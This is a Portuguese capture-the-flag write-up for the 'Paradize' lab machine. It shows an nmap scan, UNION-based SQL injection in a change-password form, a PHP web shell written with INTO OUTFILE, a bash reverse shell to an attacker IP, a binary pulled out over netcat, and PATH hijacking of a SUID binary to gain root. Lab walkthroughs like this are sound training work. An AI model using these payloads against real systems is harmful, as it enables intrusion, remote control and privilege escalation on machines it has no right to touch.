- Published on
Paradize Writeup
- Authors
- Name
- Gabriel Silva
- @gabriel-silva-509347165
Plataforma: Hacking Club
Dificuldade: Easy
Nome: Paradize
Port Scanning
nmap -sV -sC -p- -v $IP --open
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 2e:46:3f:4e:29:18:65:c6:83:44:02:99:72:92:cc:84 (ECDSA)
|_ 256 60:fc:6f:94:db:f1:72:13:7b:9f:51:4f:88:5c:1e:93 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://paradize.hc
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Somente as portas 22 (SSH) e 80 (HTTP) estão abertas.
Enumeration
http://172.16.7.123
sudo vim /etc/hosts
Acessando a aplicação
http://paradize.hc
Registrando um novo usuário
Aparentemente o campo de login/register não são vulneráveis a SQL Injection (Aspas simples não funcionou).
Após logarmos, temos uma funcionalidade de ‘Change Passord’.
Ao passar uma aspas simples, a aplicação retorna um erro do banco de dados, indicando um possível SQL Injection
Capturei a requisição no Burp para facilitar a exploração.
O próximo passo é explorar o SQL Injection, começamos enumerando o numero de colunas presente no banco de dados.
' UNION SELECT 1 #
Existem 3 colunas nesse banco de dados, pois a aplicação não exibiu um erro.
' UNION SELECT 1,2,3 #
O próximo passo é utilizar o SQL Injection pra injetar uma web-shell em um arquivo com a função into outfile
do MySQL.
Para identificar um diretório com permissões de escrita, podemos utilizar o modo recursion
do ffuf
Fuzzing
ffuf -u http://paradize.hc/FUZZ -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -recursion
'union select 1,"<?php system($_GET['cmd']); ?>",3 into outfile "/var/www/html/public/images/uploads/shell.php"-- -
FootHold
bash -c 'exec bash -i &>/dev/tcp/10.0.31.150/1337 <&1'
OBS: Lembre de encodar a payload.
nc -lnvp 1337
Privillege Escalation
find / -perm -u=s 2>/dev/null
Executando o binário pra ver o que ele faz
Transferindo ele pra nossa maquina, para analisar melhor
#kali
nc -lnvp 8000 >enrollment
#alvo
nc 10.0.31.150 8000 < /usr/sbin/enrollment
Analisando o binário no Ghidra , podemos ver que ele chama o comando system
pra executar o programa figlet
.
No Linux, os arquivos são executados em uma ordem especifica, sabendo disso podemos criar um arquivo chamado figlet
malicioso que se será executado antes pelo binário enrollment
utilizando a técnica de Path Hijacking.
www-data@ip-172-16-7-123:/tmp$ echo '#!/bin/bash' > figlet
www-data@ip-172-16-7-123:/tmp$ echo 'chmod u+s /bin/bash' >> figlet
www-data@ip-172-16-7-123:/tmp$ chmod 777 figlet
www-data@ip-172-16-7-123:/tmp$ export PATH=$(pwd):$PATH
www-data@ip-172-16-7-123:/tmp$ /usr/sbin/enrollment